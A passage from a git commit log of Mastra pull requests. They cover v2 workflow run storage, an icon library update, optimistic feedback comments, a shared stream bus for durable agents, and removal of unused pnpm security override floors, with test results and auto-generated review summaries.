`waitTimeoutMs`, the next model call still gets the placeholder. The
result is added on the call after it.

## Testing

- The evented suite runs on v1 and v2, and fails if any v2 run writes to
the v1 tables. v1/v2 parity tests cover nested runs, a loop over a
nested workflow, a foreach over a nested workflow, loop iteration
counts, parallel branches' state changes staying out of step results,
and a nested workflow's `pruneSnapshot` being skipped on v2.
- New v2 tests check that evented steps and conditions throw on `state`
and sync `getStepResult`, locally and through remote step execution;
that the step-execution request carries `storageVersion`; and that
`result.steps` and `onFinish` get the same function, which reads nothing
from storage.
- The durable agent suites run on both storage-version projects. A case
suspends a run on one version and cold-resumes it with an agent set to
the other. The restart harness recovers a `DurableAgent` run and an
`EventedAgent` run in a fresh process on v2.
- The pg evented suite runs guarded writes on both versions. Store
conformance tests cover the new store calls.
- The shared workflow suite checks that `updateState` merges a partial
update, keeps the keys of two calls in one step and of two parallel
branches, and fails a step whose merged state breaks `stateSchema`, on
the default and evented engines on v1 and v2, and on Inngest.
- `workflows/step-state-writers.test.ts` and
`evented/update-state.test.ts` pin the split on v1 and v2: `setState`
validates only the value it's given, doesn't validate the state it
leaves behind, and its second call replaces the first; `updateState`
merges, validates the merged state, keeps keys it wasn't given, and
removes keys set to `undefined`.
- Regression tests cover time travel over a failed foreach with running
snapshots declined, a loop restarted on another host, a restart after
parallel branches replaced the state, a background task read failing
while a durable agent waits for its result, a workflow tool reading a
class-based context's getter, a v2 message running out of deliveries on
real Redis (top-level and nested), and four libSQL or pg stores
upgrading the runs table at once. Without its fix, each fails on the
version or store that had the bug.

Mutation checks (each change made on its own, and each made tests fail):

| Change | Tests failed |
|---|---|
| remove the bounded sibling load | 15 |
| load siblings past the arm's own write | parallel join test |
| stop storing the loop iteration count | loop test |
| keep the parent's step results in nested messages, or stop loading
them on hand-back | 1–2 each |
| remove the v2 `pruneSnapshot` guard | its test |
| ignore `autoStorageVersion` on the evented engine | v2 restart case |
| store a step result without swapping its summary for the stored result
| 6 (pg) |
| retire a predecessor without swapping its summary | 2 (pg) |
| send summaries to the step-execution strategy | remote step-execution
test |
| return v2 evented results as a record | v2 result test |
| report a completed-step conflict without reading the whole run | 3
(pg) |

Typecheck and lint are clean in core, pg and the Redis pubsub. The full
core unit suite (29,420 tests) and pg (4,255) pass at 4136e11803; the
two commits after it pass the core evented tests (1,025), libSQL (1,527)
and the Redis exhaustion tests. On Inngest, the shared workflow suite
passes except 5 tests that fail the same way on `main`. libSQL's `tsc`
reports errors in a cross-process test fixture, also on `main`. Not run:
evented v2 end to end on libSQL, and the shared suite on Temporal. After
the `updateState` change (`f610b639a4d`), core's workflow suites (3,195
non-evented, 1,161 evented) and the durable-agent suites (4,069) pass,
and `tsc --noEmit` is clean.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: This change lets workflows store their data in a newer, smaller
format. Runs that use the new format send less data and write less data
to the database, so they finish faster. The old format stays the
default.

## Summary

This pull request adds an opt-in `storageVersion?: 1 | 2` option to
`createDurableAgent` and `createEventedAgent`. Both agents default to
version 1. Version 2 stores a run as a header plus one row per step,
with state tracked as patches and periodic full-state checkpoints.

The evented workflow engine now routes its store operations through
`RunStorage`. It supports version 2 in the in-memory, Postgres, and
libSQL stores. Remote step execution forwards the storage version.

### Behavior changes for workflow authors

- `getState()` is added to step, tool, `.map()`, condition, and sleep
contexts. It resolves state asynchronously. It accepts optional
top-level keys.
- `updateState()` is added. It merges top-level keys, validates the
merged state, and removes keys set to `undefined`.
- On version 2 runs, reading `state` throws. Synchronous
`getStepResult()` also throws. `result.steps` becomes an async function
(`await result.steps()`).
- On the evented engine, `setState` merges keys without schema
validation. Repeated calls accumulate.

### Other changes

- Nested evented runs inherit the parent's storage version through
`resolveRunStorage`.
- Concurrent `foreach` iterations merge their child run IDs. Concurrent
failures produce one `workflow.fail` event.
- Background durable-agent results are folded into the transcript when
they are available. The background-task wait is time-limited.
- The `storeRunsInV2` test helper and `storesRunsInJournal` getter are
removed. Tests set `storageVersion` directly.
- `EventedAgent` no longer overrides `storesRunsInJournal`.
- `WORKFLOW_RUNS_SCHEMA` adds `stateSeq`, `statePatchCount`,
`statePatchBytes`, and `stateBytes`. The libSQL and Postgres stores add
these columns during initialization.
- Stored runs from earlier alpha releases of `@mastra/pg` and
`@mastra/libsql` continue to work after startup adds the columns.

### Scope and risk

- Diff: 181 files changed, 9,141 lines added, 2,554 lines removed.
- Review effort: High. The change touches the evented engine, storage
contracts in core, libSQL, and Postgres, durable-agent steps, and public
types.
- Public API changes include `RunStorage.writeInitial` renamed to
`writeSnapshot`, new `RunStorage` methods, and new or changed storage
method signatures.

### Verification

Results come from the PR description. They are not re-run for this
summary.

- Core and pg typecheck and lint are reported clean.
- Full core and pg suites are reported passing at `4136e11803`.
- After `f610b639a4`, workflow and durable-agent suites are reported
passing, and `tsc --noEmit` is reported clean.
- Inngest shared suite: five failures are reported, which also occur on
`main`.
- libSQL: `tsc` errors in a cross-process test fixture are reported,
which also occur on `main`.
- Not run: evented v2 end-to-end testing on libSQL, and the shared suite
on Temporal.
- `packages/mcp` `server-tasks-background.test.ts` failure is attributed
to an unrelated `afterEach` timeout. Its status is not established here.

### Known gaps

- Evented `setState` does not validate against `stateSchema`.
- Postgres loop restart behavior has a known issue.
- A parent does not resume automatically when an evented child is
resumed directly.
- The parent receives the child's `StepResult` wrapper, not its output.
- Background placeholders can still reach the model when the wait times
out. The result is folded in later.

### Performance (author-reported)

For a Postgres evented-agent run with 16 tool calls and 2 KB results,
version 2 reduces published messages from 98 MB to 11 MB, writes from 75
MB to 3.1 MB, and runtime from 4.1 s to 2.6 s.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: review <review@local>
2026-11-16 08:23:06 -08:00
Justin Levine
cee56cb365
fix(playground-ui): use matching Central chevrons, bubbles, thumbs and gear (#30523)
## Description

Follow-up to #30438. Fixes the Central shapes that looked off once they
shipped: the wide chevrons read flat and oversized next to other icons,
and messages, thumbs, sort arrows and the settings gear each mixed
shapes. Updates Central Icons to 1.2.44 for the matched thumbs pair,
`IconArrowsUpDown`, `IconVoiceSimple` and `IconSettingsGear5`.

- Chevrons use Central's Medium set (`IconChevronDownMedium` and
friends).
- Messages use Chat Bubble 7: `IconChatBubble7`, `IconChatBubbles` for
threads, `IconChatBubble7Off`, `IconChatBubble7Plus`, and
`IconQuestionmarkCircle` for help.
- The generated set keeps every icon Platform imports, so the next
snapshot doesn't break it.

| Sidebar | Before | After |
| --- | --- | --- |
| Light | ![Sidebar with wide chevrons and Gear1,
light](https://github.com/user-attachments/assets/48a89b2a-e6d6-4686-b5a9-354339d50e46)
| ![Sidebar with Medium chevrons and Gear5,
light](https://github.com/user-attachments/assets/7ae730d4-606c-48cc-bfcb-b654327b3ce3)
|
| Dark | ![Sidebar with wide chevrons and Gear1,
dark](https://github.com/user-attachments/assets/ec369206-6fed-4bea-9923-402f8698ae31)
| ![Sidebar with Medium chevrons and Gear5,
dark](https://github.com/user-attachments/assets/0267e9af-364f-47d0-814b-e14e9368a4b9)
|

| Toolbars | Before | After |
| --- | --- | --- |
| Light | ![Toolbars with wide chevrons,
light](https://github.com/user-attachments/assets/3df12512-1611-464e-93f9-8295b89c412f)
| ![Toolbars with Medium chevrons,
light](https://github.com/user-attachments/assets/91f7b2b9-6e5d-443a-950c-ffd19938db98)
|
| Dark | ![Toolbars with wide chevrons,
dark](https://github.com/user-attachments/assets/5f84d5c2-c06d-4e1e-b79f-01e57166b7d1)
| ![Toolbars with Medium chevrons,
dark](https://github.com/user-attachments/assets/8dcb55a5-750e-4df0-a0cd-2ac49e1554a2)
|

Verified: lint, format, and typecheck pass in playground-ui, Studio,
Factory UI, and MCP app components. Tests pass in playground-ui, Studio
(3088), and MCP app components (141); three chevron tests now assert the
Medium names. Factory UI's 13 failures are the same ones on main.

## Related issue(s)

PLTFRM-2484

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: The app's icon set is updated to a newer version of the Central
Icons library. Some icons are swapped for matching ones, so the
chevrons, chat bubbles, thumbs, sort arrows, voice, and settings icons
look consistent with each other.

## Summary

This pull request updates the Central Icons package from 1.2.34 to
1.2.44. It replaces many icons across playground-ui, the playground app,
Factory UI, and the MCP apps components. The goal is a consistent visual
style for chevrons, message bubbles, thumbs, sort arrows, voice, help,
and settings icons.

## Icon changes

- **Chevrons:** `IconChevronBottom`, `IconChevronRight`,
`IconChevronLeft`, and `IconChevronTop` are replaced by
`IconChevronDownMedium`, `IconChevronRightMedium`,
`IconChevronLeftMedium`, and `IconChevronTopMedium`. `IconChevronBottom`
is removed.
- **Chat bubbles:** `IconBubbleWide`, `IconBubbleText`,
`IconBubbleSparkle`, `IconBubbleQuestion`, and `IconBubbleCrossed` are
removed. Callers use `IconChatBubble7`, `IconChatBubble7Plus`,
`IconChatBubble7Off`, or `IconChatBubbles`. Some question-bubble uses
switch to `IconQuestionmarkCircle`.
- **Sort:** `IconArrowTopBottom` and `IconArrowBottomTop` are replaced
by `IconArrowsUpDown`. `IconArrowBottomTop` is removed.
- **Settings:** `IconSettingsGear1` is replaced by `IconSettingsGear5`.
`IconSettingsGear1` is removed.
- **Thumbs and voice:** `IconThumbsUp` and `IconThumbDownCurved` are
replaced by `IconThumbUpSimple` and `IconThumbDownSimple`.
`IconVoiceHigh` is replaced by `IconVoiceSimple`.
- **Other:** `IconNotepad` is removed. `IconEmail2` changes its path
geometry and stroke styling.

## Scope

- Central icon modules and the `central/index.ts` barrel are updated.
The `central-icons.json` manifest is updated.
- Call sites in playground-ui, playground, Factory UI
(`mastracode/factory-ui`), and `packages/mcp-apps-components` are
updated to the new names.
- Stories and fixtures are updated to the new names.
- Tests are updated. The chevron and sidebar tests now expect the
`Medium` names.
- A changeset adds patch releases for `@mastra/mcp-apps-components`,
`@mastra/playground-ui`, and `mastra`.

## Breaking changes for importers

Removed exports are no longer available from
`packages/playground-ui/src/ds/icons/central`. Any code outside this
diff that imports them will fail to compile. Those names include
`IconChevronBottom`, `IconChevronRight`, `IconBubbleWide`,
`IconSettingsGear1`, and `IconArrowTopBottom`.

## Verification

The PR description reports that lint, format, and typecheck pass in
playground-ui, Studio, Factory UI, and MCP app components. It reports
that tests pass in playground-ui, Studio (3088 tests), and MCP app
components (141 tests). It reports 13 Factory UI failures that also
occur on main. These results come from the PR description. This summary
did not run them.

## Review notes

- Diff size: 142 files, +506 lines, −582 lines.
- Most changes are one-line import and icon-name swaps.
- Icon visuals change across the product. Reviewers should check the
Studio and sidebar screenshots in the PR description.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 11:22:48 -05:00
Marvin Frachet
83a6d17903
feat(react): show new feedback comments immediately (#30515)
## Description

On Mastra Platform, feedback writes are eventually consistent. `POST
/observability/feedback` returns once the record is published to
Pub/Sub, but the ClickHouse writer inserts it 5-15s later, in batches.
The refetch fired by `useCreateFeedback`'s `onSuccess` invalidation runs
before the row can be queried, so a new comment only showed up on the
next poll, 30s later.

This PR makes new comments show up right away and keeps lists close to
fresh:

- **Optimistic add.** `useCreateFeedback` now generates `feedbackId` and
`timestamp` on the client and keeps the new comment in its own cache
entry (`['feedback-optimistic', traceId, spanId]`). `useTraceFeedback`
and `useSpanFeedback` merge it into page 0 until the server returns the
same `feedbackId`. It is removed if the POST fails and expires after 60s
if the server never returns it. It lives outside the list cache because
a list-cache write would be overwritten by the post-submit refetch and
by the poll.
- **Pending rows are marked.** Merged rows that aren't stored yet carry
`isPending: true` (new exported `FeedbackListItem` /
`FeedbackListResponse` types). In Studio, `FeedbackThread` shows
"Sending…" on those rows and hides Mark reviewed and Delete until the
stored row replaces them.
- **Fast poll only while pending.** Lists poll every 3s while they show
a pending comment, and every 30s otherwise. A TODO marks the fast poll
as temporary until the backend offers read-your-writes for feedback.
- **Caller `select` is kept.** A `select` passed through `queryOptions`
runs on the merged data (and, for traces, after the trace-level filter),
instead of replacing the merge.
- **One id per submit.** Each `mutate` call gets a fresh `feedbackId`,
even when the same variables object is reused. Retries of one submit
keep the same id.
- **Callbacks compose.** Caller-provided `onMutate`, `onError` and
`onSuccess` on `useCreateFeedback` now run alongside the hook's own
logic. Before, a caller's `onSuccess` replaced the list invalidation.

Known limits: the pending comment's timestamp comes from the client
clock, so a skewed clock can order it differently from the stored row.
It also has no resolved author until the server returns it (the
"Sending…" label covers this in Studio).

**Test plan**

- New `optimistic-feedback.msw.test.tsx`: the comment is visible right
after submit, survives refetches while the server lacks it, shows up
only once after the server returns it, is rolled back on error, expires
after 60s, is not leaked to later pages or from span into trace lists,
gets a new id when the same variables are resubmitted, polls at 3s only
while pending, reaches a caller `select`, and caller callbacks still
run.
- `feedback-tabs.msw.test.tsx` (playground-ui): pending rows show
"Sending…" with no actions, then get their actions once stored.
- `@mastra/react`: 100 files, 983 tests pass. playground-ui
`src/domains/traces`: 59 files, 1393 tests pass. playground-ui typecheck
clean. The only `tsc --noEmit` error in `client-sdks/react` is
pre-existing, in `observability-capabilities.ts` fixtures.

## Related issue(s)

None. This is a mitigation until the backend offers read-your-writes for
feedback.

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [x] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [ ] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: When someone sends feedback, the new comment can take a few
seconds to appear in the list. This PR shows the comment right away,
keeps it visible until the server returns it, and checks for updates
more often while a comment is still pending.

## Summary

This PR adds optimistic feedback display to `@mastra/react`. A submitted
comment appears in the list at once. The comment stays visible until the
server returns the stored record, the submission fails, or 60 seconds
pass. While a comment is pending, the feedback list polls every 3
seconds. Otherwise, it polls every 30 seconds. The change is a temporary
mitigation for eventually consistent feedback writes.

## Why

Feedback writes are eventually consistent. The stored row can become
queryable several seconds after the POST. A refetch that runs right
after submission can miss the new comment.

## Changes

- `client-sdks/react/src/hooks/feedback/feedback-refetch-interval.ts`:
`getFeedbackRefetchInterval` accepts an optional `hasPendingFeedback`
argument. The default is `false`. Polling stays disabled for unsupported
feedback operations and unavailable observability. Otherwise, the
function returns 3,000 ms when feedback is pending and 30,000 ms when it
is not. A comment documents the temporary behavior and the
read-your-writes condition for removing it.
-
`client-sdks/react/src/hooks/feedback/__tests__/feedback-refetch-interval.test.ts`:
The no-error case names the 30-second interval. New tests assert the
3-second interval while feedback is pending. Another test asserts that
polling stays disabled when storage cannot list feedback, even if a
comment is pending.
- `client-sdks/react/src/hooks/feedback/optimistic-feedback.ts` (new):
Stores pending feedback in a separate query-cache entry, scoped by trace
and optional span. Deduplicates items by `feedbackId`. Expires items
after `OPTIMISTIC_FEEDBACK_TTL_MS` (60 seconds). Adds the following:
  - `FeedbackListItem` and `FeedbackListResponse` types.
- `addPendingFeedback`, `discardPendingFeedback`, and
`settlePendingFeedback` to manage pending items.
- `mergePendingFeedback` to prepend pending items the server has not
returned. It marks them `isPending`. When pagination exists, it adds
their count to the total.
- `usePendingFeedback` to return pending items when enabled, without
fetching. It schedules removal of expired items.
- `client-sdks/react/src/hooks/traces/use-create-feedback.tsx`:
Generates a UUID and client timestamp for each submission. Uses them for
the pending item and the submitted record. Adds the pending item before
the request. Removes it if the request fails. On success, invalidates
the matching trace or span feedback query. Runs caller `onMutate`,
`onError`, and `onSuccess` alongside these handlers. Success waits for
the invalidation and the caller `onSuccess`. `mutate` and `mutateAsync`
copy the variables per call, so each submission gets its own ID. Retries
of one submission keep the same ID.
- `client-sdks/react/src/hooks/traces/use-trace-feedback.tsx`: Enables
pending lookup on page zero only. Merges pending items before filtering
out records with a `spanId`. Sets the displayed pagination total to the
filtered count. Applies the caller `select` to the merged data. Passes
pending state to the refetch interval. Settles pending feedback after a
successful page-zero fetch, unless the query signal is aborted.
- `client-sdks/react/src/hooks/traces/use-span-feedback.tsx`: Merges
pending items into page zero before the caller `select`. Settles pending
feedback after a page-zero fetch, unless the request is aborted. Passes
pending state to the refetch interval. The default generic type changes
from `SpanFeedbackResponse` to `FeedbackListResponse`.
- `client-sdks/react/src/hooks/feedback/index.ts`: Re-exports the
`FeedbackListItem` and `FeedbackListResponse` types.
-
`client-sdks/react/src/hooks/traces/__tests__/optimistic-feedback.msw.test.tsx`
(new): Adds MSW-backed tests. They cover:
  - Immediate insertion with matching identity.
- Separate entries for repeated submissions with the same variables
object.
  - Retention during stale refetches.
  - Deduplication and removal after server confirmation.
  - Rollback on submission failure.
  - Removal after expiry when a write is lost.
- 3-second polling while pending and 30-second polling after settlement.
  - Exclusion from later pages and from trace lists.
  - Behavior with caller-provided selectors.
  - Caller callback invocation and context.
-
`packages/playground-ui/src/domains/traces/components/feedback-thread.tsx`:
`feedbackData` uses `FeedbackListResponse`. Items use
`FeedbackListItem`. Pending rows show "Sending…" in place of the review
status. They hide Mark reviewed and Delete until the stored row replaces
the pending row.
-
`packages/playground-ui/src/domains/traces/components/__tests__/feedback-tabs.msw.test.tsx`:
Adds tests for trace and span feedback tabs. A submitted comment that is
missing from the list shows as pending. When a later list includes it,
the stored row replaces the pending row and its actions appear.
- `.changeset/lovely-books-throw.md`: Adds patch changesets for
`@mastra/react` and `@mastra/playground-ui`. It documents immediate
display, removal on failure, retention until the server returns the
comment or 60 seconds pass, and the conditional 3-second refresh. It
also documents that `useCreateFeedback` runs caller `onMutate`,
`onError`, and `onSuccess` callbacks. Before this change, passing
`onSuccess` skipped the hook's list refresh.

## Public API

- `getFeedbackRefetchInterval` gains an optional second parameter.
Existing callers are unaffected.
- `useSpanFeedback` changes its default generic type to
`FeedbackListResponse`.
- `FeedbackListItem` and `FeedbackListResponse` are newly exported from
the feedback hooks index.
- `FeedbackThreadProps.feedbackData` type changes to
`FeedbackListResponse | null`.
- The `optimistic-feedback.ts` functions are added. The index does not
re-export them.

## Scope and limits

- Polling uses 3 seconds only while a comment is pending. Each open list
polls at that rate only during that period. Otherwise, it polls every 30
seconds.
- A code comment says the polling does not scale. It says to remove the
pending-feedback polling once the backend supports read-your-writes for
feedback.
- The code comment notes that client clock skew can affect pending
timestamps.
- Optimistic comments have no resolved author name until the server
returns them.
- Author-reported results, not verified here:
- `vitest run src/hooks/feedback src/hooks/traces` in
`client-sdks/react` passed 18 files and 175 tests.
- `tsc --noEmit` completed cleanly in `client-sdks/react`. An earlier
report listed one unrelated type error that also occurred without this
change. The later report says the check completes cleanly.

## Files

11 files changed, 778 lines added, 41 lines removed (from the merge
base).
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 17:14:24 +01:00
NikAiyer
d929736435
fix(core): use one stream bus for durable agents (#30229)
Durable agents now use the wrapped Agent's stream bus instead of
constructing a second one. An Agent-level pubsub carries both run frames
and thread events, including after registration and forks; evented
execution still uses Mastra's shared transport. Standalone durable
agents remain observable, and plain-run records and abort checks stay
separate from durable execution.

Previously, observing across replicas required repeating the pubsub on
the durable wrapper. This now works with the Agent configuration alone:

```ts
const agent = createDurableAgent({
  agent: new Agent({ id: 'assistant', name: 'Assistant', instructions, model, pubsub }),
});
```

Inngest explicitly exposes its detached-streaming capability without
migrating its bus. The server retains the `isDurableAgentLike` fallback
in `hasResumableStreams` for compatibility with older Inngest wrappers:
their proxy can inherit `false` from a plain Agent or lack the method
entirely. Server and Inngest versions are not coupled, so removing the
fallback would silently turn HTTP disconnects into run cancellation on
supported mixed-version installs. This is a deliberate, user-approved
exception to the ticket's shortcut-removal bullet; no peer-dependency
bump is needed while the fallback remains. Regression coverage exercises
capability `true`, `false`, and missing; the latter two fail without the
fallback.

Server branch audit (`packages/server/src/server/handlers/agents.ts`):
`validateDurableToolCallAccess` (line 298) remains because approvals
need durable workflow snapshots; `authorizeRunAccess` (2676) remains
because durable ownership uses workflow rows/local and replay owners
rather than plain run records (COR-1542). The two abort-route branches
(2724 and 2742) retain durable cancellation support and its
missing/finished-run acknowledgement semantics, not separate transports.

The observe-route branch (3141) remains for generation-fenced
`__subscribeToRunStream` and the Inngest adapter's `pubsub` fallback;
consolidating observation is COR-1541, and migrating Inngest's bus is
COR-1539. The recover-route guard (3746) remains because only durable
execution has recoverable workflow snapshots. None of these remaining
branches requires a second stream bus on core DurableAgent.

The Mastra-fallback regression also runs through a fork created after
registration, both with and without resolving the bus before
registration. Another replica must receive replay plus live tail through
finish, and the terminal frame must be published on Mastra's transport.
The latest targeted rerun passed 33 tests, including cache-policy
warnings and plain-publisher isolation across both durable storage
variants; core typecheck, targeted lint, formatting and diff checks
passed.

Verified with 1,643 core durable/stream tests, 78 AIMock parity tests,
292 server handler tests (including the mixed-version capability cases),
119 Inngest tests, and six real Redis cross-server cases covering live
observation, thread events and HTTP Stop. Typechecks, lint and
formatting pass. The Agent-pubsub regression failed before the fix; a
built-package red/green demo also confirms the transport change. An
earlier approval-resume timing failure passed in isolation and on the
final full rerun.

Fixes COR-1540




## Transport precedence and upgrade scope

Default-engine durable run transport precedence is now: explicit
`createDurableAgent` pubsub → wrapped Agent pubsub → Mastra pubsub.
Evented runs retain Mastra's shared transport. Mastra-only
configurations are unchanged.

If the wrapped Agent already specifies a different transport from Mastra
and the wrapper has no override, this fix changes the effective
run-frame and remote Stop transport. To preserve routing across an
upgrade, explicitly pass the previous transport to `createDurableAgent`
or align the Agent and Mastra transports. The wrapper configures the
shared stream bus, so its override also affects resumable streams from
direct calls on the wrapped Agent. The core changeset includes this
upgrade note.

A local investigation used separately built pre-change main
(`049b31dd2c`) and this branch with real Redis in both owner/observer
version directions. Shared effective transport passed live completion,
replay, and remote Stop. Distinct selected transports lost live
completion and remote Stop acknowledgement; shared-cache replay still
worked. This is a configuration-dependent routing cutover, not a general
rolling-deploy incompatibility. The investigation-only second-checkout
harness and expected failures are not included in this PR; existing
same-version Redis coverage remains.

Permanent coverage now executes wrapper and fork runs with three
distinct wrapper/Agent/Mastra buses, verifies run frames only reach the
wrapper bus, and verifies replayed output. Dropping the wrapper override
makes this test fail on the intended publication assertion. Latest
focused verification: 38 tests passed; core typecheck, type-aware lint,
formatting, and diff checks passed.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: Durable agents now send live updates through the same stream
channel as the normal agent they wrap. Before, they built a second
channel. Users can now set up cross-server viewing by configuring only
the wrapped agent.

## Summary

This PR changes durable agents to use the wrapped `Agent`'s stream bus.
They no longer build a second bus. Agent-level pubsub carries run frames
and thread events, including after registration and forks. Evented
execution continues to use Mastra's shared transport.

### Core changes (`packages/core`)

- `Agent` stores a fallback stream pubsub and a shared-run-log
capability callback.
- `__getStreamBus()` initializes a bus when wrapper stream configuration
exists or streams are enabled. It prefers wrapper configuration over
agent durable settings.
- `__getStreamBus()` uses the configured pubsub, or the agent pubsub. If
neither exists, it uses a reusable fallback `EventEmitterPubSub`.
- The shared-run-log check uses the wrapper callback when configured.
Otherwise, it calls `__usesSharedRunLog()`.
- `__ownsPlainStreamPublisher()` still selects the plain publisher. It
now gets its bus through `__getStreamBus()`.
- Plain publishing still requires enabled agent streams.
- `__configureDurableStreams(config, usesSharedRunLog)` overlays defined
wrapper values on the agent durable settings and any existing wrapper
settings. It stores the callback and resets the bus.
- Agent forks copy the durable stream configuration and share the
fallback pubsub.
- `DurableAgent` delegates stream-bus ownership and access to the
wrapped agent. Its cache, pubsub, cleanup scheduling, and replay-owner
operations use that bus.
- The `DurableAgent` constructor configures durable streams on the
wrapped agent. `__getStreamBus()` returns that bus.
- `DurableAgent` no longer copies a private bus configuration when
forked. It no longer adopts the inner pubsub. Mastra registration no
longer registers a separate bus.
- `DurableAgent` adds `__setLogger(logger: IMastraLogger)`. It forwards
logger updates to the wrapped agent.
- The `AgentStreamBus` constructor accepts an optional `defaultPubsub`.
The bus uses it when `config.pubsub` is absent, before the new
`EventEmitterPubSub` fallback.
- `AgentStreamBus.forkConfig` and `adoptInnerPubsub` are removed.
- Direct `stream` and `generate` calls on an agent with `durable: false`
stay unpublished. This holds after durable wrapping configures the
shared bus. The wrapper can still publish through that bus.
- Plain-run records and abort checks stay separate from durable
execution.

### Inngest changes (`workflows/inngest`)

- `InngestAgent` adds the public method `hasResumableStreams():
boolean`. It always returns `true`.
- The internal `Pick` type includes this method.
- Inngest exposes detached streaming. It does not migrate its bus.
- A new test checks that `createInngestAgent` reports resumable streams
when its wrapped `Agent` has `durable: false`.

### Server changes (`packages/server`)

- `hasResumableStreams` keeps the `isDurableAgentLike` fallback for
older Inngest wrappers in mixed-version installs.
- The observe-stream handler keeps the same fallback.
- The fallback applies when a wrapper reports `false` or does not report
the capability.
- Removing the fallback would cause the reported capability-`false` and
missing-method regression cases to fail.
- This PR does not require a peer-dependency bump while the fallback
remains.
- Other server branches handle durable tool-call access, run
authorization, abort, observation, and recovery. The PR states these
address separate durable-workflow behavior or deferred work. They do not
need a second stream bus on core `DurableAgent`.
- Comments in `hasResumableStreams` and the observe-stream handler were
revised. No executable behavior changed.
- The durable-wrapper stream-detachment test runs with
`hasResumableStreams` set to `true`, `false`, and absent. The stream
observer detaches in each case.

### Redis pubsub (`pubsub/redis-streams`)

- The cross-server abort test runs for the durable and evented engines
with the Mastra bus. It runs for the durable engine with the agent bus.
- Each child server receives the selected bus location.
- The successful-abort case subscribes the other server to the run's
thread. That server verifies a tool-call chunk. It then verifies
completion and a finish chunk after the abort.
- The remote abort response remains `{ aborted: true }`. The owner's run
ends aborted.
- The abort fixture adds `BUS_LOCATION=agent`. With this value, the
agent uses Redis Streams pubsub. The Mastra-level bus uses
`EventEmitterPubSub`.
- Without `BUS_LOCATION=agent`, the agent has no explicit pubsub. With
`ENGINE=evented`, the Mastra-level bus uses `CachingPubSub` over Redis
Streams. Otherwise, it uses Redis Streams directly.
- The `stream` command accepts optional `threadId` and `resourceId`. It
passes them as memory configuration when `threadId` is present.
- The fixture adds `observe` and `subscribe` commands. `observe` streams
run observations. `subscribe` streams thread subscription chunks.

### Tests

- The shared-bus tests add a standalone mode. They cover replay and
live-tail observation with and without forks. They also cover bus
resolution before registration.
- The tests verify finish-event publication.
- Replayed start and tool-call frames are asserted only for registered
replicas.
- A prior logger-warning assertion was removed.
- Thread-coordination tests abort across processes in every
`sharedFrames` case. They observe the aborted run's frames. They expect
an aborted finish reason and one model request.
- New tests check run-frame routing for plain, durable, and evented
agents. They cover configurations with both agent-level and Mastra
buses. They also check replay from an unregistered durable agent whose
wrapped agent has `durable: false`.
- The explicit durable-execution test expects the original agent and its
durable wrapper to share the same stream bus.
- A direct-execution test checks that `stream` and `generate` runs stay
unpublished when a `durable: false` agent is wrapped and registered.
Runs through the durable wrapper publish a finish event.

### Changesets

- Patch changesets cover `@mastra/core`, `@mastra/server`, and
`@mastra/inngest`.
- The `@mastra/core` changeset includes an upgrade note. Mastra-only
configurations keep their behavior. Users who need the previous
transport can keep it by configuring it explicitly.

### Verification

The PR description reports these results. This summary does not
independently verify them.

- 1,643 core durable and stream tests passed.
- 78 AIMock parity tests passed.
- 292 server handler tests passed.
- 119 Inngest tests passed.
- Six real Redis cross-server cases passed.
- A latest targeted rerun passed 33 tests. It covered cache-policy
warnings and plain-publisher isolation across both durable storage
variants.
- Typechecks, targeted lint, formatting, and diff checks passed.
- The Agent-pubsub regression test failed before the fix.
- An earlier approval-resume timing test failed. It passed in isolation
and on the final full rerun.

### Diff size

- 14 files changed.
- 341 lines added.
- 118 lines removed.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: review <review@local>
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 07:21:54 -08:00
Ward Peeters
775e0fe328
chore(deps): remove pnpm override floors that no longer match any dependency (#30521)
## Summary

`pnpm-workspace.yaml` has 119 security floors of the form `pkg@<x: x`.
Vanta and Dependabot remediation passes added them over Sept–Nov. A
floor only rewrites versions below its vulnerable cutoff. Once every
consumer asks for a patched version, the floor does nothing except hold
packages on its exact version.

This PR removes the 75 floors that no longer match any request in the
dependency tree. The comments that only described them go too.

## How the dead floors were found

1. In a scratch copy, remove **all** floor overrides, delete
`pnpm-lock.yaml`, and resolve from scratch (`pnpm install
--lockfile-only`).
2. For each floor, check whether any resolved version of that package
falls in its vulnerable range.
- **75 match nothing.** Every consumer already requests a fixed version.
`simple-git` and `@tootallnate/once` are no longer in the tree.
- **44 still match.** A third-party parent pins or caps a vulnerable
version, for example `lodash`, `axios`, `ws`, `undici`, `uuid` <11,
`@modelcontextprotocol/*` 2.0.0 and `zod` 4.1.8. These floors stay.

Removed floors include `brace-expansion` (3), `fast-uri`, `form-data`,
`@noble/hashes`, `postcss-selector-parser` (2 each), `js-yaml` 3.x/5.x,
`hono`, `@hono/node-server` (both), `@modelcontextprotocol/sdk`,
